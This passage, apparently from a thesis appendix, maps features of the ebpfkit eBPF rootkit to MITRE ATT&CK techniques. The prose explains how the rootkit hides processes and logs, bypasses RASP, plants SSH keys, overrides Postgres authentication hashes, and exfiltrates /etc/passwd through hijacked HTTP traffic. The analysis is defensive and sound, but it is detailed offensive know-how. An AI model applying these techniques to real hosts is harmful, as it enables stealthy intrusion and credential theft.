— Block kernel modules from loading. 38|
— When dealing with file descriptors, the rootkit can add a syscall entry return an error
and block the syscall if the same process tries to access a hidden file descriptor, making
the user unaware of its existence. [48|
Hiding eBPF components such as eBPF programs and maps from detection by hooking
into the bpf syscall itself. It does this by manipulating the BPF_PROG_GET_NEXT_ID,
BPF_PROG_GET_FD_BY_ID, BPF_MAP_GET_NEXT_ID, and BPF_MAP_GET_FD_BY_ID com-
mands to prevent user space from viewing or modifying its eBPF components.
Hiding Kernel Ring Buffer Messages: the rootkit handles the "pretty scary, but le-
gitimate message" generated in the kernel ring buffer when bpf_probe_write_user
is used. It does this by loading two eBPF programs: one that makes the read
syscall return zero and writes "legit-looking message" to guarantee the warning mes-
sage related to bpf_probe_write_user is not read, and then a second program using
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bpf_probe_write_user which unblocks the read syscall and overrides the content of the
warning messages with benign messages. This prevents logging to dmesg, journalctl
-f, or syslog.

o Leveraging eBPF’s "Safety Guarantees" for Stealth: The developers note that eBPF’s
safety features, such as the inability to crash the host and minimal performance impact,
make it an "interesting technology to write a rootkit". They explicitly state that "eBPF
‘safety’ should not blind Security Administrators", highlighting that these design choices,
intended for stability, can be exploited to remain undetected.

T1222. File and Directory Permissions Modification

No information found.

T1564. Hide Artifacts

o Hiding its Process and Files:

— The rootkit makes its own process invisible to user space applications by manipulating
syscalls. For instance, if a user attempts to view the rootkit’s PID folder using ps
or 1ls, the rootkit can alter the output of stat syscalls to report "no such file or
directory". This is achieved by using the bpf_probe_write_user helper to modify
the data returned by the syscall.

— It also prevents external programs from interacting with its process, for example, by
making it appear as if the process does not exist when a signal is sent to it, returning
a "no such process error". This is done by using bpf_override_return at the entry
of the kill syscall, which completely skips the syscall’s execution and changes its
return value.

— For persistence, rootkit can copy its binary to a dedicated system location like
/etc/rcS.d and then hide this copied file using the same obfuscation mechanisms
it employs for its PID folder. This ensures its continued presence while remaining
concealed.

o Hiding eBPF Programs and Maps:

— The rootkit specifically targets its own eBPF components (programs and maps) to
prevent them from being discovered. It achieves this by hooking into the eBPF syscall
itself.

— It prevents user space tools from listing its program and map IDs by intercepting
commands like BPF_PROG_GET_NEXT_ID and BPF_MAP_GET_NEXT_ID.

— Furthermore, it prevents user space from obtaining a file descriptor to its programs or
maps from their IDs (e.g., BPF_PROG_GET_FD_BY_ID), which also helps in preventing
"ID guessing". This ensures that once attached, its eBPF programs and maps remain
hidden from inspection tools.

o Obscuring Kernel Logs:

— The bpf_probe_write_user helper, crucial for the rootkit’s operations, can generate
warning messages in the kernel ring buffer, which might indicate its presence. To
counter this, the rootkit has a mechanism to hide these warnings. It loads a prelimi-
nary eBPF program that, when the kernel ring buffer is read, makes the read syscall
return zero and writes legitimate-looking messages, effectively preventing the warning
from being seen. A second program then loads using bpf_probe_write_user, and its



APPENDIX A. MAPPING TECHNIQUES BETWEEN MITRE ATT&CK AND
EBPFKIT 93

warning messages are overridden with benign content. This hides suspicious entries
from dmesg or journalctl outputs.

T1574. Hijack Execution Flow

Cf. TA000S. Persistence.

T1562. Impair Defenses

o Obfuscation and Hiding its Presence:

— One of the primary tasks of a rootkit is to hide itself, e.g., hiding its own process and
protect it from being killed. It also hides its eBPF programs and maps from other
programs that might try to access them.

— This is achieved by modifying syscall returns using helpers like bpf _override_return
to make user space believe that syscalls failed or to completely skip their execution.
For example, when ps or similar tools try to detect it, they receive "no such file or

" or "no such process" errors.

directory

— It can block signals by hooking the kill syscall and overriding its return value.

— The rootkit can also prevent other programs from listing its eBPF programs
and maps by hooking into the eBPF syscall itself, specifically commands like
BPF_PROG_GET_NEXT_ID and BPF_PROG_GET_FD_BY_ID, to avoid revealing their IDs
or file descriptors.

— The rootkit addresses the warning messages generated in the kernel ring buffer by
the bpf_probe_write_user helper. It loads two eBPF programs: one that intercepts
read syscalls to the ring buffer and writes "legit-looking messages" to suppress the
warnings, and another that uses bpf_probe_write_user. This ensures that tools like
dmesg or journalctl do not reveal its operations.

o Runtime Application Self-Protection (RASP) Bypass:

— The rootkit includes a feature to bypass RASP security tools. RASP works by using
runtime instrumentation to detect and block application-level attacks.

— The rootkit achieves this bypass by hooking specific user space functions (e.g.,
md5_crypt_verify for Postgres authentication or database SQL interface functions
for web apps) using uprobe eBPF programs.

— It then uses the bpf_probe_write_user helper to override the input parameters of
these hooked functions. This allows the RASP to see a benign query while the under-
lying database executes the actual malicious SQL injection. This method is noted to
apply to all RASPs due to its fundamental approach.

o Hiding Command and Control (C2) Traffic:

— The rootkit implements C2 by hijacking existing network connections. It cannot
initiate new connections or open ports itself.

— It uses XDP programs and TC classifier programs to achieve this. XDP programs can
be offloaded to the network interface controller and operate very early in the network
stack, allowing them to hide network traffic from the kernel entirely.

— When a C2 request reaches the infected host, the XDP program intercepts it. It then
overrides the entire request with a simple health check request. This prevents the ma-
licious request from reaching the web application or any user space monitoring tool
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that might detect the unusual traffic, thus avoiding detection of its C2 communica-
tions. If working with TCP, retransmitting the packet as a health check is preferred
over dropping it to avoid generating noise that could lead to discovery.

T1656. Impersonation

No information found.

T1070. Indicator Removal

o The rootkit is designed to make its own process undetectable by standard system tools.
When an attempt is made to detect the rootkit’s process using commands like ps, or
to access its /proc/<rootkit-pid> entries (e.g., cmdline, exe), the rootkit ensures
that "nothing" is returned, or issues like "no such file or directory" are encountered.
Furthermore, it can block signals like kill by hooking the kill syscall at its entry point
and overriding its return value with ESRCH (No such process), making it appear as though
the process does not exist. This directly removes the indicator of a running process.

o Obfuscating eBPF Components: The rootkit actively hides its own eBPF programs
and maps. It accomplishes this by hooking into the eBPF syscall itself. This prevents
user-space tools from discovering its components by avoiding responses to commands
like BPF_PROG_GET_NEXT_ID and BPF_MAP_GET_NEXT_ID, which are used to enumerate
eBPF programs and maps. Additionally, it can deny access to their file descriptors via
BPF_PROG_GET_FD_BY_ID and BPF_MAP_GET_FD_BY_ID, effectively preventing "ID guess-
ing". By controlling the read syscall, it can also hide references to these file descriptors
in /proc entries. These actions directly remove the indicators of the eBPF rootkit’s
operational components.

o Overriding Kernel Ring Buffer Messages: The bpf_probe_write_user helper, which is
crucial for the rootkit’s obfuscation, generates a "scary but legitimate message" in the
kernel ring buffer, which could serve as an indicator of its activity. To counteract this,
the rootkit employs a two-program strategy:

— A first eBPF program, which does not use bpf_probe_write_user, hooks the
read syscall on the device used by the ring buffer, makes it return zero, and
writes legitimate-looking messages. This ensures the warning message related to
bpf_probe_write_user is not immediately read.

— A second eBPF program, using bpf _probe_write_user, is then loaded. This program
can override the content of the warning messages in the ring buffer with legitimate-
looking messages when utilities like dmesg or journalctl attempt to read them. This
is a direct modification of system logs to remove suspicious indicators.

o Hiding C2 Network Traffic from Host Defenses: For its C2 operations, the rootkit lever-
ages XDP programs which execute very early in the Linux network stack, before packets
reach other subsystems or even the network stack itself. This allows the rootkit to in-
tercept and modify packets before they are seen by host-level firewalls or monitoring
tools. Specifically, it overrides malicious C2 requests with simple health check responses
to prevent the "malicious request" from reaching the web application or any user-space
monitoring tool that might detect unusual traffic. By replacing the actual malicious
traffic with benign responses, the rootkit prevents the creation of indicators of its C2
communication on the compromised host.
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T1202. Indirect Command Execution

No information found.

T1036. Masquerading

(¢]

Process and Component Obfuscation:

the rooktit’s primary goal is to hide itself. It uses obfuscation techniques to achieve
this.

It ensures its eBPF programs and maps are hidden and that other programs cannot
gain access to their file descriptors.

the rootkit uses the bpf_probe_write_user and bpf_override_return eBPF helpers
to achieve obfuscation. These helpers allow it to alter syscall arguments or corrup-
t/change the data returned by a syscall, and even completely skip syscall execution.
For file obfuscation, the rootkit populates an eBPF map with its PID folder path.
When a user space process attempts to stat (check the status of) a file, the rootkit
can modify the return value so the user space believes the syscall failed and also scrub
the content of the buffer that the kernel might have filled. This makes the file appear
non-existent.

It can also block syscalls that take PIDs as arguments by overriding their return values,
leading to "no such process error" responses for legitimate attempts to interact with
its process.

To hide its own eBPF programs and maps, the rootkit hooks into the eBPF
syscall itself. It prevents user space processes from discovering its IDs using
BPF_PROG_GET_NEXT_ID and from obtaining file descriptors to its programs or maps
using BPF_PROG_GET_FD_BY_ID, effectively preventing "ID guessing". This ensures
users cannot view or modify the rootkit’s components.

Hiding Kernel Ring Buffer Messages:

The bpf_probe_write_user helper, which is crucial for the rootkit’s functionality,
typically prints a "scary but legitimate message" in the kernel ring buffer (viewable
via dmesg or journalctl).

To masquerade this activity, the rootkit loads a BPF program that intercepts read
syscalls on the ring buffer device. This program makes the read syscall return zero
and writes "legit-looking message" over the warning message, effectively scrubbing the
actual warning before it can be read. A second program then overrides the warning
message’s content with benign-looking messages.

Persistent Access through File Content Override:

For persistent access, the rootkit can replace the content of critical files read by root
daemons, such as crontab or sshd’s authorized_keys file.

Crucially, it does this in a way that the file appears unchanged from the user’s point
of view. For example, an injected SSH key in authorized_keys will only be available
to sshd, while a user inspecting the file directly will not see the injected key. This is
a clear example of masquerading.

Command and Control (C2) Traffic Mimicry:

Adversaries frequently attempt to mimic normal, expected traffic to avoid detection
when establishing command and control.

the rootkit implements its C2 by hijacking existing web application network traffic.
It sets up XDP and TC classifier programs to intercept HTTPS requests.
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— When a rootkit client sends a command to the rootkit via an HTTPS request (using
custom routes and user agents), the XDP program on the infected host processes it.
After executing the command, the program overrides the entire request with a simple
health check request.

— This masquerades the malicious C2 traffic because it prevents the suspicious request
from reaching the legitimate web application or any user space monitoring tools, and
simultaneously provides a benign-looking "200 OK" health check response back to the
client, making the interaction appear normal.

o Passive Network Discovery:

— The rootkit includes a passive network discovery feature that acts as a basic network
monitoring tool.

— This feature listens for ingress and egress traffic but does not generate any traffic
on the network itself. This makes it "basically impossible to detect that someone is
tapping into your network," effectively masquerading its presence and activity from
network-level detection.

T1556. Modify Authentication Process

Cf. TA000S. Persistence.

T1578. Modify Cloud Compute Infrastructure

No information found.

T1666. Modify Cloud Resource Hierarchy

No information found.

T1112. Modify Registry

No information found.

T1601. Modify System Image

No information found.

T1599. Network Boundary Bridging

No information found.

T1027. Obfuscated Files or Information

o Hiding the Rootkit Process and its Components:
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— Process Obfuscation: A primary goal of the rootkit is to hide its own process. The
rootkit prevents its Process ID (PID) from being detected by tools like ps or by
attempting to access its /proc entry, making it appear as if the process does not
exist. For instance, attempts to use its /proc entry or send a signal to its PID result
in "no such file or directory" or "no such process" errors. This relies on altering syscall
outputs.

— File Obfuscation: the rootkit can hide its binary file and other related files. It popu-
lates an eBPF map with its PID folder’s path at startup. When user space issues file
syscalls like stat for this path (even relative ones), the rootkit intervenes at a deeper
kernel level (DBFS code) to change the return value, making the user space believe the
syscall failed, and scrubs any content that might have been filled by the kernel. If a
file descriptor is used, the rootkit can store it in an eBPF map and block subsequent
syscalls that accept it, preventing the user from knowing the file descriptor exists.

— Blocking Signals and Kernel Modules: The rootkit can block signals sent to its process
by hooking the kill syscall entry and overriding its return value with ESRCH (No such
process). It can also block kernel modules that might be used to detect it.

o Obfuscating eBPF Programs and Maps:

— The rootkit specifically hides its own eBPF programs and maps from detection. It
does this by hooking into the ebpf syscall itself.

— The rootkit prevents user space from iterating through its eBPF program and map
IDs using commands like BPF_PROG_GET_NEXT_ID and BPF_MAP_GET_NEXT_ID.

— It also prevents users from obtaining file descriptors to its programs or maps from their
IDs using BPF_PROG_GET_FD_BY_ID and BPF_MAP_GET_FD_BY_ID, effectively stopping
ID guessing. By controlling these operations, the rootkit ensures that its programs
and maps cannot be viewed or modified by user space.

o Hiding Kernel Ring Buffer Messages:

— The bpf_probe_write_user helper, which is crucial for the rootkit, can cause legit-
imate but "scary" warning messages in the kernel ring buffer (dmesg or journalctl
-f).

— To hide these warnings, the rootkit loads a specific eBPF program that monitors the
read syscall used to access the ring buffer. This program makes the read syscall return
zero and writes "legit-looking messages" instead, ensuring the actual warning messages
are not read. Then, a second program, using bpf_probe_write_user, unblocks the
read syscall and overwrites the content of the warning messages with legitimate-
looking ones.

T1647. Plist File Modification

No information found.

T1542. Pre-OS Boot
Cf. TA000S. Persistence.

T1055. Process Injection
Cf. TA0004. Privilege Escalation.
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T1620. Reflective Code Loading
o RASP Bypass:

The rootkit uses uprobes, which are eBPF programs attached to user-space func-
tions, to hook into critical points within an application, such as the go database/sql
interface or the SQLite driver.

By using bpf_probe_write_user, the rootkit can override the input parameters of
these hooked functions. This allows a tool to inspect a benign (non-malicious) query,
while the database itself is forced to execute the actual SQL injection that was crafted
by the adversary. This effectively conceals the malicious execution by manipulating
the in-memory representation of the query, bypassing the RASP without creating new
file-backed components for the malicious SQL.

o Persistent Access to Application Databases (Postgres):

The rootkit sets up persistent access to an application database by leveraging uprobes.
It hooks onto specific user-space functions, such as the md5_crypt_verify function
used for password verification in a Postgres database.

When a user attempts to connect, the rootkit uses bpf_probe_write_user to over-
write the expected hash value (stored in shadow_pass) directly in the memory of the
md5_crypt_verify function’s context. This allows the comparison to succeed with
a known, controlled value, granting the adversary persistent access to the database
by altering its in-memory authentication logic without modifying files on disk for this
particular authentication bypass.

T1207. Rogue Domain Controller

No information found.

T1014. Rootkit

Cf. All techniques used by that rootkit.

T1218. System Binary Proxy Execution

No information found.

T1216. System Script Proxy Execution

No information found.

T1221. Template Injection

No information found.

T1205. Traffic Signaling
Cf. TA0003. Persitence.
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T1127. Trusted Developer Utilities Proxy Execution

No information found.

T1535. Unused/Unsupported Cloud Regions

No information found.

T1550. Use Alternate Authentication Material

o Persistent Access via SSH Authorized Keys:

— The rootkit can establish persistent access by replacing the content of critical files
read by system daemons, such as sshd.

— Specifically, it can inject an SSH key into the authorized_keys file. The rootkit
achieves this through a "reader override approach" which ensures that only sshd is
impacted, while the file’s content appears unchanged to a regular user. This allows
the adversary to connect successfully using their injected SSH key, which serves as
alternate authentication material.

o Persistent Access to Application Databases (PostgreSQL Example):

— The rootkit can set up persistent access to application databases, such as PostgreSQL,
by using uprobes eBPF programs attached to user space functions.

— In a demonstration, the rootkit hooks the md5_crypt_verify function within Post-
greSQL. This function is responsible for verifying the user’s provided MD5 hash
against the expected shadow_pass stored in the database.

— By using the bpf_probe_write_user helper, the rootkit can override the expected
hash contained in shadow_pass with a known, adversary-controlled value. This ma-
nipulation makes the comparison succeed, effectively granting persistent access to the
database using an "alternate" or manipulated credential.

— This capability can be controlled remotely via the rootkit’s C2 feature, allowing the
adversary to define a new password that will be accepted for authentication, even
though it’s not the actual password stored in the database. This allows the adversary
to use their chosen "new password" as alternate authentication material to log in.

T1078. Valid Accounts

o Persistence through SSH Key Injection: the rootkit can establish persistent access by
injecting an SSH key into the authorized_keys file for sshd. This is done in such a way
that only sshd is impacted, and the file’s content appears unchanged to the user. This
allows the adversary to maintain legitimate-looking remote access to the system.

o Persistent Access to Application Databases via Authentication Bypass: the rootkit can
achieve persistent access to an application database by attaching uprobe eBPF programs
to user space functions. For example, it can hook into the md5_crypt_verify function
of a PostgreSQL database to overwrite the expected hash with a known value. This
makes the comparison succeed, allowing the attacker to authenticate with a pre-defined
password even if the actual database password is unknown or has not been modified for
legitimate users, thereby providing persistent access to the database.
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Credential Access and Exfiltration: the rootkit has the capability to collect PostgreSQL
credentials at runtime and store them in eBPF maps. These collected passwords (specif-
ically hash passwords for PostgreSQL) can then be exfiltrated via the command-and-
control channel. Additionally, the rootkit can dump the content of sensitive files like
/etc/passwd, which contains user account information.

T1497. Virtualization/Sandbox Evasion

No information found.

T1600. Weaken Encryption

No information found.

T1220. XSL Script Processing

No information found.

TA0006. Credential Access

T1557. Adversary-in-the-Middle

o

Command and Control (C2) by Hijacking Network Traffic:

— the rootkit leverages eBPF’s ability to hijack an existing connection for its C2 opera-
tions, as it cannot initiate connections or open new ports.

— The rootkit client communicates with the rootkit by sending HT'TP /HTTPS requests
with custom routes and user agents.

— XDP programs are used to intercept incoming network traffic very early in the network
stack, even before it reaches any network firewalls or monitoring tools on the host.

— When an XDP program detects a request meant for the rootkit (based on custom
routes and user agents), it parses and executes the command.

— Crucially, to remain undetected, the XDP program then overrides the entire origi-
nal request with a benign "health check" request (e.g., HTTP 200 OK). This modified
packet is then allowed to proceed to the legitimate web application. This prevents the
malicious request from being logged or detected by user-space monitoring tools.

— The client receives the "health check" response, confirming the command was suc-
cessful. Dropping the packet entirely would cause retransmissions and generate noise,
which is why overriding is preferred for TCP connections.

Data Exfiltration through Hijacked Egress Traffic:

— To exfiltrate data, the client sends an initial request indicating what data it wants.

— The XDP program captures this request and stores details like the network flow and
the requested resource in an eBPF map.

— When the web application sends its response (e.g., the health check answer), a TC
egress classifier (another eBPF program type designed for egress traffic monitoring
and modification) intercepts this outgoing packet.
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— The eBPF program then overrides the content of the legitimate response packet with
the requested data (e.g., file content, environment variables, database dumps) from
the eBPF map.

This technique works for any unencrypted network protocol, and the developers specif-
ically demonstrated its use for DNS spoofing, where an XDP program is used to
override the answer to a DNS request before it leaves the host.

In essence, the rootkit positions itself "in the middle" of network communications
within the kernel space, allowing it to intercept, modify, and redirect traffic without
the user space applications or traditional network monitoring tools being aware. This
capability is a fundamental characteristic of an Adversary-in-the-Middle attack.

T1110. Brute Force

No information found.

T1555. Credentials from Password Stores

o Exfiltration of /etc/passwd Content: the rootkit can be commanded to monitor when
a user-space process opens and reads the /etc/passwd file, a common password store
on Linux systems. As the kernel sends this data back to the user-space application, the
rootkit copies the content into an eBPF map for later retrieval.

o Manipulation and Exfiltration of PostgreSQL Credentials:

— the rootkit has the capability to remotely change PostgreSQL passwords through its
C2 feature, allowing new passwords to be defined remotely.

— It can hook into the md5_crypt_verify function of a PostgreSQL server using up-
robes (eBPF programs attached to user-space functions). By overriding the expected
password hash (shadow_pass) with a known value using the bpf_probe_write_user
helper, the rootkit can make a known password (e.g., "hello" or "defcon") valid, ef-
fectively granting persistent access to the database.

— The rootkit can list and exfiltrate collected PostgreSQL credentials (specifically, hash
passwords) that it has detected at runtime.

T1212. Exploitation for Credential Access

No information found.

T1187. Forced Authentication

No information found.

T1606. Forge Web Credentials

No information found.
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T1056. Input Capture

No information found.

T1556. Modify Authentication Process
Cf. TA000S. Persistence.

T1111. Multi-Factor Authentication Interception

No information found.

T1621. Multi-Factor Authentication Request Generation

No information found.

T1040. Network Sniffing

o eBPF Program Types for Network Manipulation:

— the rootkit primarily uses XDP (eXpress Data Path) programs and TC (Traffic Con-
trol) classifier programs. Both are typically used for deep packet inspection.

— XDP programs operate on ingress (incoming) traffic and can be offloaded to the Net-
work Interface Controller (NIC), allowing them to run before a packet enters any
subsystem in the network stack. They can drop, allow, modify, and retransmit pack-
ets, which is crucial for receiving and answering packets before they reach the network
stack or firewalls, effectively hiding traffic from the kernel entirely.

— TC programs can be attached to a network interface for both ingress and egress
(outgoing) traffic, though later in the network stack. They can drop, allow, and
modify packets. TC programs are particularly used to exfiltrate data on its way out.

o Passive Network Monitoring:

— The rootkit includes a basic network monitoring tool that listens for all ingress and
egress network traffic.

— XDP programs monitor ingress traffic, and TC programs monitor egress traffic.

— It collects network flow data and the amount of data sent per flow, which can then be
graphed.

— This method is passive and does not generate network traffic, making it "impossible
to detect that someone is tapping into your network" by examining the infected host’s
network activity.

o Active Network Scanning:

— the rootkit can perform an ARP scan and a SYN scan to discover hosts and services
on the network.

— This active scanning is performed only using XDP programs and without involving
the kernel stack, which aids in stealth.

— Since eBPF cannot initiate new connections, the rootkit cleverly hijacks existing
HTTP requests from its client. It overrides the incoming HTTP request with an ARP
request for the target IP and then sends it out using XDPTX (XDP Transmit) directly
from the NIC.
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— Once the MAC address is resolved, subsequent retransmissions of the original client
packet are overridden with SYN requests for the target port range.

— A "network loop" is established: when a SYN response (RST or SYN+ACK) is re-
ceived, the rootkit overrides that received packet with another SYN request for the
next port in the range, effectively generating hundreds of scan packets by re-using the
initial client connection’s retransmissions.

Data Exfiltration over Network Traffic:

— To exfiltrate data, the client sends an initial request specifying the desired resource.

— The XDP program stores the network flow and the requested resource in an eBPF
map.

— When the legitimate web application responds with a health check, the TC egress
classifier intercepts this outgoing packet and overrides its content with the collected
data.

— This allows the exfiltration of "pretty much anything that is accessible to eBPF"
via eBPF maps, including file content (e.g., /etc/passwd), environment variables,
database dumps, and in-memory data.

— This technique is also demonstrated for DNS spoofing, using an XDP program to
override DNS responses.

C2 Communication:

— the rootkit hijacks existing network connections for C2.

— When the rootkit client sends a command via a customized HTTPS request (using
custom routes and user agents), the XDP program on the compromised host parses
and executes the command.

T1003. OS Credential Dumping

o

Credential Exfiltration: The rootkit demonstrates the ability to exfiltrate Postgres cre-
dentials. The rootkit collects passwords at runtime and stores them in an eBPF map. A
client can then retrieve the contents of this map, which contains the collected passwords.
This process effectively "dumps" credentials that have been acquired by the rootkit.
Persistent Access through Credential Manipulation: The rootkit can also establish
persistent access to an application database by manipulating credentials. It hooks
into the md5_crypt_verify function used by PostgreSQL to verify passwords. By
using the bpf_probe_write_user helper, the rootkit can override the expected hash
(shadow_pass) with a known value. This allows the attacker to provide a different,
known password to gain access, making the comparison succeed and providing persis-
tent access to the database. Although this isn’t direct "dumping" of existing credentials,
it’s a form of credential manipulation to gain access.

T1528. Steal Application Access Token

No information found.

T1649. Steal or Forge Authentication Certificates

No information found.
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T1558. Steal or Forge Kerberos Tickets

No information found.

T1539. Steal Web Session Cookie

No information found.

T1552. Unsecured Credentials

No information found.

TA0009. Collection

T1557. Adversary-in-the-Middle
Cf. TA0006. Credential Access.

T1560. Archive Collected Data

No information found.

T1123. Audio Capture

No information found.

T1119. Automated Collection

No information found.

T1185. Browser Session Hijacking

No information found.

T1115. Clipboard Data

No information found.

T1530. Data from Cloud Storage

No information found.

T1602. Data from Configuration Repository

No information found.
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T1213. Data from Information Repositories

No information found.

T1005. Data from Local System

@)

@)

@)

Broad Data Accessibility the rootkit is designed to exfiltrate "pretty much anything that
is accessible to eBPF". This broad access is facilitated because multiple eBPF program
types can share data through eBPF maps, regardless of their specific functions.
Specific Examples of Exfiltrated Data:

— File content: For instance, the rootkit can dump the content of files like /etc/passwd.
This is achieved by instructing the rootkit to monitor for a specific file. When a user-
space process opens and reads that file, the rootkit copies the data as it’s sent to the
application and stores it in an eBPF map for later retrieval.

— Environment variables.

— Database dumps: An example demonstrated is the exfiltration of Postgres credentials
or hash passwords collected at runtime.

— In-memory data: This can be gathered by analyzing the stacks of programs.
Exfiltration Mechanism: Data exfiltration is initiated by the client sending an initial
request to specify the desired data or resource. An XDP program within the rootkit
stores the network flow and the requested resource in an eBPF map. When the web ap-
plication responds with a health check, a TC egress classifier program within the rootkit
intercepts the network flow and overrides the health check answer with the requested
data. This technique is applicable to any unencrypted network protocol, such as HT'TP
or DNS.

T1039. Data from Network Shared Drive

No information found.

T1025. Data from Removable Media

No information found.

T1074. Data Staged

@)

Collection and Storage in eBPF Maps the rootkit aims to gather information relevant
to an adversary’s objectives. For example, during data exfiltration, the rootkit’s XDP
programs store collected data, such as network flow information or requested resources,
in eBPF maps. Similarly, when exfiltrating file content like /etc/passwd, the rootkit
is instructed to "start looking for" the specific file. When a user-space process then
attempts to open and read that file, the rootkit copies the data as it is sent to the
user-space application and saves it into an eBPF map.

Exfiltration from Staged Location Once the data is stored in the eBPF map, it can be
"retrieved later". The ebpfkit-client can then issue a "get" command (e.g., fs_watch
get /etc/passwd) to dump the content of the file from the eBPF map, effectively exfil-
trating the staged data. This multi-step process allows the rootkit to collect various types
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of data, including file content, environment variables, database dumps, and in-memory
data, and stage them in eBPF maps before they are sent out of the compromised system.

T1114. Email Collection

No information found.

T1056. Input Capture
Cf. TA0006. Credential Access.

T1113. Screen Capture

No information found.

T1125. Video Capture

No information found.

TA0011. Command and Control

T1071. Application Layer Protocol

o Using OSI Application Layer Protocols: the rootkit primarily leverages HT'TPS traffic
for its command and control (C2) operations. HTTPS operates at the application layer
of the OSI model. The same technique can also be applied to other unencrypted network
protocols like DNS.

o Avoiding Detection/Network Filtering by Blending with Existing Traffic: Adversaries
commonly attempt to mimic normal, expected traffic to avoid detection. The rootkit
achieves this by hijacking existing network connections, specifically HT'TPS traffic, using
XDP and TC classifier eBPF programs. When a command is sent, the rootkit program
overrides the original request with a simple health check request to prevent the malicious
request from reaching the legitimate web application or user space monitoring tools that
might detect unusual traffic. This makes the malicious communication appear as normal,
benign health check traffic.

o Embedding Commands and Results within Protocol Traffic:

— Commands to the remote system are embedded within HT'TPS requests using custom
routes and custom user agents. For example, a new password for Postgres can be sent
as part of the user agent.

— Results of those commands, or exfiltrated data, are embedded by overriding the answer
of a health check request with the requested data.

— the rootkit can exfiltrate various types of data accessible to eBPF programs, such
as file content (e.g., /etc/passwd), environment variables, database dumps, and in-
memory data.

— Different eBPF program types can share data through eBPF maps, enabling flexible
and covert data exfiltration strategies.
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T1092. Communication Through Removable Media

No information found.

T1659. Content Injection

o C2 by Hijacking Network Traffic:

— When the rootkit’s client sends a C2 command via a simple HT'TPS request with
custom routes and user agents, the XDP program on the infected host parses this
request.

— After executing the command, the the rootkit program overrides the entire incoming
request with a simple health check response. This action serves two purposes: it pre-
vents the malicious request from reaching the legitimate web application or user space
monitoring tools, and it provides a "200 OK" answer back to the client, confirming
the command’s success without generating suspicious traffic. This is a direct exam-
ple of injecting benign content (health check) into the data-transfer channel to hide
malicious communication.

— This technique allows the rootkit to remotely send commands to change application
behavior, such as overriding the password used for PostgreSQL database authentica-
tion at runtime.

— The C2 client sends a request where the user agent contains the new password,
which the the rootkit’s XDP program processes and then uses to modify the
md5_crypt_verify function’s expected hash, thereby injecting the new password into
the application’s authentication process.

o Data Exfiltration via Network Traffic Manipulation:

— An initial request from the client specifies the data to be exfiltrated. The the rootkit’s
XDP program stores the network flow and the requested resource in an eBPF map.

— When the web application’s legitimate response (e.g., a health check answer) is about
to leave the host, the TC egress classifier (another eBPF program type) intercepts it.

— This eBPF program then overrides that legitimate answer with the requested ex-
filtrated data (e.g., file content like /etc/passwd, environment variables, database
dumps, or in-memory data).

— This demonstrates injecting malicious content (exfiltrated data) into an existing out-
going data-transfer channel.

o DNS Spoofing: The same content injection technique used for data exfiltration can be
applied to DNS requests. The rootkit can override DNS answers, effectively performing

DNS spoofing by injecting false DNS resolution data into the network stream.

T1132. Data Encoding

No information found.

T1001. Data Obfuscation

o Mimicking Normal Traffic and Hiding Commands:
— The rootkit aims to mimic normal, expected traffic to avoid detection for its command

and control.
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— The rootkit’s client communicates with it by sending simple HTTPS requests with
custom routes and custom user agents. This allows the adversary to embed commands
within what appears to be legitimate web traffic.

— Upon receiving these requests, the the rootkit’s XDP programs parse the HT'TP routes
and user agents to understand that the request is intended for the rootkit, not the
legitimate web application.

— Crucially, the rootkit uses the bpf_probe_write_user eBPF helper to override the
entire malicious request with a simple health check request. This is done for two main
reasons:

1. To prevent the malicious request from reaching the legitimate web application or
any user space monitoring tools that might detect unusual traffic. This makes the
communication less conspicuous and hides the actual commands from being seen
by defense mechanisms.

2. To ensure the client receives a successful response, indicating the command was
processed.

o For TCP connections, the rootkit prefers overriding and retransmitting a health check
rather than just dropping packets, as dropping would cause retransmissions and gen-
erate noise, increasing the chance of discovery.

o Obfuscating Data Exfiltration:

— When the rootkit needs to exfiltrate data, the client sends an initial request specifying
the data to be exfiltrated.

— The XDP program stores the network flow and the requested resource in an eBPF
map.

— When the legitimate web application responds to the "health check" (which was the
overridden malicious request), the rootkit’s TC egress classifier program intercepts
this answer.

— It then overrides the content of the legitimate answer with the requested exfiltrated
data. This means sensitive data (like file content, environment variables, or database
dumps) is hidden within what appears to be normal egress traffic from the web ap-
plication.

— This technique is versatile and applies to any unencrypted network protocol, including
DNS, where XDP programs can be used to override DNS answers for DNS spoofing.

T1568. Dynamic Resolution

No information found.

T1573. Encrypted Channel

No information found.

T1008. Fallback Channels

No information found.
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T1665. Hide Infrastructure

o Hijacking Existing Connections for C2:

— Instead of initiating new connections or opening new ports, which could be easily
detected, the eBPF rootkit is designed to hijack existing network connections. This
allows it to blend its malicious communications with legitimate network traffic.

— In a demonstrated setup, the rootkit hijacks HTTPS traffic directed at a web appli-
cation, where TLS termination occurs at a Classic Load Balancer, making the traffic
unencrypted when it reaches the compromised instance. This allows the eBPF pro-
grams to manipulate the unencrypted HTTP requests and responses.

o Ingress Traffic Manipulation for Command Reception:

— The rootkit uses XDP programs to intercept incoming C2 commands. XDP programs
are powerful because they can operate at a very low level in the network stack, even
being offloaded to the Network Interface Controller (NIC). This means they can pro-
cess packets before they enter any subsystem of the network stack, effectively hiding
network traffic from the kernel entirely.

— When the rootkit’s client sends an HTTPS request containing a command (using
custom routes and user agents), the XDP program on the infected host intercepts and
parses it.

— To hide the C2 traffic, the XDP program overrides the entire incoming malicious
request with a simple, benign health check request. This is done to prevent the
actual malicious request from reaching the legitimate web application or any user-
space monitoring tools that might detect unusual traffic patterns. This masquerades
the C2 communication as normal application health checks.

— The rootkit avoids simply dropping the packet (if TCP is used) because that would
lead to retransmissions by the Load Balancer, generating noise and increasing the
chance of discovery. By overriding the request, the rootkit maintains the appearance
of normal traffic flow.

o Egress Traffic Manipulation for Data Exfiltration:

— For data exfiltration, the rootkit leverages TC (Traffic Control) classifier programs.
While XDP handles ingress traffic, TC programs can monitor both ingress and egress
traffic.

— After an initial client request for data, the XDP program stores the network flow and
the requested resource in an eBPF map.

— When the legitimate web application responds to the health check, the TC egress
classifier intercepts the outgoing packet. The rootkit’s eBPF program then overrides
the content of this legitimate outgoing answer with the requested exfiltrated data.

— This technique allows the rootkit to exfiltrate various types of data—such as file
content, environment variables, or database dumps—by embedding it within what
appears to be normal, legitimate outgoing network traffic from the web application,
thus evading detection.

T1105. Ingress Tool Transfer

No information found.
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T1104. Multi-Stage Channels

No information found.

T1095. Non-Application Layer Protocol

@)

ARP: For its active network discovery, the rootkit implements an ARP scanner. When
a scan request is received, the the rootkit’s XDP program overrides the incoming HTTP
request with an ARP request for the target [P and sends it out using XDPTX, bypassing
the network stack. This allows the rootkit to discover the MAC address of the target
